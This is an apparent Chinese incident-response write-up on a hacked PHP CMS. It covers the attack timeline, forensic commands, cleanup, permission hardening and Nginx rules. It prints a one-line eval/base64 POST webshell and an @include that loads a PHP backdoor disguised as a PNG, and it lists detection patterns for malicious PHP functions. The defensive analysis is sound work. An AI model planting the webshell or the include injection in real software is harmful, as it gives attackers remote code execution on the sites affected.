一次 CMS 被黑实录:完整事件思路梳理

一、攻击者的入侵路径(时间线正序)

1. 初始入口:利用 CMS 后台升级功能上传恶意文件

  • 时间2026-05-27 11:40:54

  • 入口/szadmin.php?p=/Upgrade/down&list=/1531651052464522.png

  • 行为:攻击者通过 CMS 后台的“升级/下载”接口,将伪装成 PNG 图片的 PHP 后门文件写入服务器静态目录。

  • 关键点:这个接口可能存在任意文件下载/上传漏洞,或者攻击者已获取后台管理员权限,能够使用合法功能上传文件。

2. 部署持久化后门(图片马)

  • 文件名1531651052464522.png

  • 内容:一个完整的 PHP WebShell,包含动态密码验证和代码执行功能。

  • 位置/static/upload/image/20180715/(静态上传目录,Web 可访问)

  • 目的:上传一个隐蔽的后门文件,作为长期控制入口。

3. 篡改核心文件,实现自动加载

  • 同一分钟(11:40),攻击者修改了三个文件:

    • /core/init.php:插入 @include(dirname(__FILE__) . '/../static/upload/image/20180715/1531651052464522.png');

    • /core/view/View.php:被篡改(可能有进一步恶意代码)

    • /core/basic/Check.php:被植入混淆 JavaScript,加载假 CDN 域名

  • 效果:网站每次初始化都会自动包含图片后门,即使攻击者不主动访问,后门也会随系统运行而加载。

4. 静默潜伏期(约 1.5 个月)

  • 从 2026-05-27 到 2026-07-08,攻击者没有触发主木马,可能:

    • 等待更多站点被感染

    • 利用后门进行信息收集

    • 仅保持持久化,伺机而动

5. 投放第二层 WebShell(66 字节小马)

  • 时间2026-07-08 03:19:05

  • 文件名/core/template/bzze4ztt.php

  • 内容<?php eval(base64_decode(base64_decode($_POST["ant"])));?>helloxzx

  • 目的:作为紧急执行入口,无需依赖图片马,可直接通过 POST 参数执行任意 PHP 代码。

6. 探测与执行

  • 03:19:06 → GET 请求,页面返回 helloxzx,确认木马可访问。

  • 03:22:02 → POST 请求,通过 ant 参数传递双层 base64 编码的代码,试图读写 /core/init.php

  • 日志报错file_get_contents(core/init.php) 失败(相对路径问题),但后续成功修改了 init.php(可能是修正路径后重试)。


二、防守方的应急响应思路(按操作顺序)

阶段一:发现与确认

  1. 收到阿里云告警 → 定位可疑文件 bzze4ztt.php

  2. 查看文件状态stat)→ 确认创建时间、属主、大小。

  3. 查访问日志grep)→ 找到 GET/POST 请求记录,确认是活跃木马。

  4. 分析代码内容 → 识别出双层 base64 解码 + eval 的执行方式,以及探测标记 helloxzx

  5. 查看错误日志 → 发现攻击者试图读写 core/init.php,说明其目标是植入持久化后门。

阶段二:深入排查

  1. 检查 init.php → 发现 pack('H*', ...) 包含的十六进制字符串,解码后指向图片文件 1531651052464522.png

  2. 分析图片文件 → 发现它不是图片,而是 PHP 后门代码(含动态密码)。

  3. 查看图片文件元数据 → 创建于 2026-05-27,早于 WebShell 一个多月。

  4. 查图片上传日志 → 发现通过 /szadmin.php?p=/Upgrade/down 上传,确认初始入侵点。

  5. 时间关联查找 → 用 find 搜索同一时间段的修改文件,发现 View.php 和 Check.php 也被篡改。

  6. 分析 Check.php → 发现混淆 JS,加载假 CDN 域名 cdn.jsdclivir.com,确认是恶意注入。

阶段三:隔离与清除

  1. 隔离可疑文件chmod 000)→ 阻止继续执行,保留证据。

  2. 备份证据 → 复制到隔离目录 /root/malware-quarantine/

  3. 删除后门文件rm -f)→ 清除 bzze4ztt.php 和图片马。

  4. 恢复核心文件 → 从干净版本覆盖 init.phpCheck.phpView.php,或手工清理注入代码。

阶段四:全面检测与加固

  1. 扫描全站 PHP 文件grep 特征函数)→ 查找其他可能的隐藏后门。

  2. 检索特定关键词(木马名、域名、探测标记)→ 定位所有相关痕迹。

  3. 追溯攻击 IPgrep 日志)→ 找出攻击者 IP 及其所有请求,评估影响范围。

  4. 查找近期新增 PHP 文件find)→ 发现可能遗漏的 shell。

  5. 权限最小化

    • 核心目录属主改为 root:root,权限 755(不可写)。

    • 运行目录和上传目录保留 www:www 可写。

  6. 禁用静态目录执行 PHP(Nginx 规则)→ 即使上传木马也无法执行。

  7. 检查计划任务crontab)→ 排除定时后门。

  8. 检查异常进程ps)→ 排除挖矿、远控等。

阶段五:长期加固

  1. 升级 CMS 到最新版,修复上传/升级漏洞。

  2. 修改所有相关密码:后台管理员、数据库、面板、FTP/SSH。

  3. 更改后台入口文件名(如 szadmin.php 改名)。

  4. 审查管理员账号,删除异常账号。


三、攻击者的策略思路分析

策略具体手法目的
多层后门图片马(长期持久)+ 小 WebShell(快捷执行)提高生存能力,一个被发现还有另一个
伪装成图片.png 文件包含 PHP 代码,通过 include 执行绕过文件类型检查,躲过文件扫描
隐藏调用在 init.php 中插入 @include,每次请求自动加载无需外部访问,自动执行后门
动态密码基于访问者 IP 的 MD5 后 8 位作为参数名防止被扫描器或他人触发,只允许自己使用
版本兼容判断 PHP 版本,使用不同执行方式(mb_ereg_replace 或 eval适配不同 PHP 版本,提高通用性
代码混淆十六进制编码路径、混淆 JS增加分析难度,延迟被发现
时间跨度先植入持久化后门,一个月后再使用避开早期排查,降低被发现的概率
利用合法接口通过 CMS 升级功能上传文件不直接上传恶意文件,减少触发安全策略

四、防守方的教训与改进

暴露的问题

  1. Web 用户权限过大www:www 能写入核心代码目录 → 攻击者可以篡改 init.php 等关键文件。

  2. 上传目录可执行 PHP:静态目录允许解析 .php 文件 → 图片马可直接作为 PHP 执行。

  3. CMS 存在未修复漏洞:升级接口存在任意文件上传/下载漏洞。

  4. 日志监控不足:近两个月内,图片马没有被及时发现。

  5. 密码/凭据可能泄露:攻击者能登录后台,说明管理员密码可能已被获取。

改进措施(已在文档中实施)

  • 权限分离(核心文件只读,仅运行/上传目录可写)。

  • 禁止上传目录执行 PHP。

  • 全面扫描并更新 CMS。

  • 更改所有密码和入口。

  • 增加日志告警机制。


五、完整攻击链图(文字版)

text

初始入口(CMS升级功能)
    ↓
上传伪装图片后门(图片马)
    ↓
篡改 init.php,自动 include 图片马(持久化)
    ↓
篡改 View.php、Check.php(备选后门/混淆)
    ↓
潜伏 1.5 个月
    ↓
投放小 WebShell(bzze4ztt.php)
    ↓
访问探测(GET),确认存活
    ↓
POST 执行代码,试图修改 init.php(强化持久化)
    ↓
触发阿里云告警
    ↓
防守方介入,开始排查
    ↓
逐层清除 + 加固

六、关键命令提取与解析

下面按文档出现的顺序,列出所有关键命令,说明其用途及执行结果的含义。

命令用途结果/输出含义
sudo stat /www/xxx/xxx/core/template/bzze4ztt.php查看文件元数据(大小、权限、时间戳)显示文件大小 66 字节,属主 www:www,创建/修改时间 2026-07-08 03:19:05,证明该文件是近期被创建的
sudo grep -R "bzze4ztt.php" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null在所有 Web 日志目录中递归搜索包含该文件名的记录找到 GET 和 POST 请求日志,证明攻击者访问并执行了该木马
sudo grep -R "POST /core/template/bzze4ztt.php" /www/wwwlg/nginx /var/log/apache2 2>/dev/null专门搜索 POST 请求日志发现 FastCGI 错误日志,其中包含 file_get_contents 和 file_put_contents 的报错,说明攻击者通过木马执行了文件读写操作
pack('H*','2f2e2e2f7374617469632f75706c6f61642f696d6167652f32303138303731352f313533313635313035323436343532322e706e67')解码十六进制字符串(PHP 代码)得到路径 /../static/upload/image/20180715/1531651052464522.png,揭示了隐藏的图片后门
sudo stat /www/xxx/xxx/xxx/xxx/xxx/20180715/1531651052464522.png查看图片后门文件元数据创建于 2026-05-27 11:40:54,属主 www:www,证明该文件早于 WebShell 被植入
sudo grep -R "1531651052464522.png" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null搜索该图片文件的访问日志找到一条 GET 请求,路径为 /szadmin.php?p=/Upgrade/down&list=/1531651052464522.png,说明攻击者通过后台升级功能上传了该文件
sudo find /www/xxx/xxx -type f -newermt "2026-05-27 11:30:00" ! -newermt "2026-05-27 12:00:00" -ls查找指定时间段内修改过的文件列出 3 个文件:伪装图片、View.php、Check.php,证明同一时间多个核心文件被篡改
sudo chmod 000 /www/xxx/xxx/core/template/bzze4ztt.php移除木马文件的所有权限(读、写、执行)隔离文件,使其无法被 Web 进程访问或执行
sudo mkdir -p /root/malware-quarantine/20260721 及后续 cp -a创建隔离目录并备份可疑文件保留证据用于后续分析或报告
sudo rm -f ...强制删除后门文件清除木马,但需先备份
sudo grep -RIn --include="*.php" -E "eval\(|assert\(|base64_decode|pack\(|gzinflate|..." /www/xxx/xxx 2>/dev/null在 PHP 文件中搜索常见恶意函数特征查找可能的隐藏后门,输出匹配行及行号
sudo grep -RIn "bzze4ztt.php|1531651052464522.png|cdn.jsdclivir.com|helloxzx" /www/xxx/xxx /www/wwwlogs 2>/dev/null搜索特定关键词(木马名、域名等)找出所有涉及这些特征的文件或日志
sudo grep -R "209.9.201.21" /www/wwwlogs /var/log/nginx /var/log/apache2 2>/dev/null搜索特定攻击 IP 的访问记录查看该 IP 的所有请求,帮助追溯攻击路径
sudo find /www/xxx/xxx -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \) -mtime -60 -ls查找最近 60 天内新建或修改的 PHP 类文件发现近期新增的可疑脚本
sudo chown -R root:root /www/xxx/xxx/core将核心代码目录属主改为 root阻止 Web 进程(www)写入核心文件,提升安全性
sudo chmod -R 755 /www/xxx/xxx/core设置目录权限为 755(rwxr-xr-x)Web 用户可读和执行,但不可写(除非目录本身可写)
sudo chown -R www:www /www/xxx/xxx/runtime 和 .../static/upload将可写目录(缓存、上传)属主改为 www允许 Web 进程正常写入运行缓存和用户上传
后续 Nginx 配置:location ~* ^/static/upload/.*\.(php|...)$ { deny all; }禁止上传目录中的 PHP 文件被执行即使上传了木马,也无法解析执行
sudo crontab -l 等查看计划任务检查是否有恶意定时任务(后门守护)
ps aux | grep -E "php|wget|curl|bash|sh|python|perl" | grep -v grep查看可疑进程发现是否有异常进程(挖矿、远控等)

七、命令操作导致的结果及其含义

  • stat → 确认文件时间戳,建立时间线,判断入侵发生时间。

  • grep 日志 → 确认攻击者访问行为,还原攻击手法(GET 探测 → POST 执行 → 读写文件)。

  • pack 解码 → 发现隐藏的图片后门,理解持久化手段。

  • find 按时间查找 → 定位同批次被篡改的其他文件,扩大排查范围。

  • chmod 000 → 立即隔离,防止继续执行,但保留了文件用于分析。

  • chown / chmod 权限调整 → 最小化权限,防止 Web 用户写入核心代码,是长期加固措施。

  • Nginx 规则 → 即使有漏网之鱼,也禁止在 upload 目录执行 PHP,阻断后续攻击。

  • crontab / ps 检查 → 排查后门持久化机制(如定时反弹 Shell、挖矿进程)。

八、相关工具/命令简略使用手册

1. stat – 查看文件详细状态

bash

stat [选项] 文件
常用选项:-c 格式化输出(如 %y 修改时间)
示例:stat -c %y /path/to/file   # 只显示修改时间

用途:获取文件大小、权限、属主、三个时间戳(访问/修改/状态改变)和创建时间(Birth),用于溯源。


2. grep – 文本搜索

bash

grep [选项] 模式 [文件/目录]
常用选项:
  -R  递归搜索目录
  -i  忽略大小写
  -n  显示行号
  -l  只显示文件名
  -E  扩展正则
  -v  反向匹配
示例:grep -RIn "eval" /var/www/html/

用途:在日志或代码中查找恶意特征、特定 IP 或文件名。


3. find – 查找文件

bash

find [路径] [条件] [动作]
常用条件:
  -name "*.php"   按文件名
  -type f         只查文件
  -mtime -7       修改时间在 7 天内
  -newermt "2023-01-01"  比指定时间新
  -perm 644       按权限
动作:-ls 列出详细信息,-exec 执行命令
示例:find /www -type f -name "*.php" -mtime -1 -ls

用途:定位近期新增或修改的可疑文件。


4. chmod – 修改权限

bash

chmod [权限] 文件/目录
常用:数字法 755 (rwxr-xr-x), 644 (rw-r--r--), 000 (---------)
示例:chmod 000 malicious.php   # 禁止任何访问

用途:隔离木马,限制 Web 用户写入。


5. chown – 修改属主

bash

chown [用户:组] 文件/目录
-R 递归修改
示例:chown -R root:root /var/www/core

用途:将核心代码属主改为 root,防止 www 用户篡改。


6. crontab – 计划任务管理

bash

crontab -l          # 列出当前用户的任务
crontab -u www -l   # 列出指定用户的任务
crontab -e          # 编辑任务

用途:检查是否有恶意定时任务(如反弹 shell、下载器)。


7. ps – 进程查看

bash

ps aux              # 显示所有进程(详细)
ps aux | grep php   # 过滤 PHP 进程
ps -ef              # 另一种格式

用途:发现异常进程(挖矿、后门、远程控制)。


8. nginx 配置 – 禁止目录执行 PHP

nginx

location ~* ^/static/upload/.*\.(php|php5|phtml|phar|shtml)$ {
    deny all;
}

或者更严格:

nginx

location ^~ /static/upload/ {
    location ~ \.php$ {
        deny all;
    }
}

用途:防止上传目录中的恶意 PHP 文件被解析执行。

九、总结

这次入侵事件并非单一漏洞利用,而是一次有组织的、多阶段、多后门、持久化的攻击。攻击者:

  • 利用了 CMS 后台升级功能(可能是逻辑漏洞或凭据泄露);

  • 上传了难以被发现的图片马;

  • 通过篡改核心初始化文件,实现了自动加载;

  • 后续又添加了第二层 WebShell 作为备用执行入口;

  • 整个过程持续近两个月,直到木马被触发执行时才被发现。

防守方的成功之处在于:

  • 及时响应云平台告警;

  • 没有只删除表象文件,而是溯源到根因;

  • 进行了全盘扫描和权限加固;

  • 最后实施了全面的密码更新和系统升级。

这起事件生动地说明:应急响应不是删一个文件就完事,而是要还原入侵路径、清除所有隐藏后门、修复漏洞并加固系统,才能真正消除隐患。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值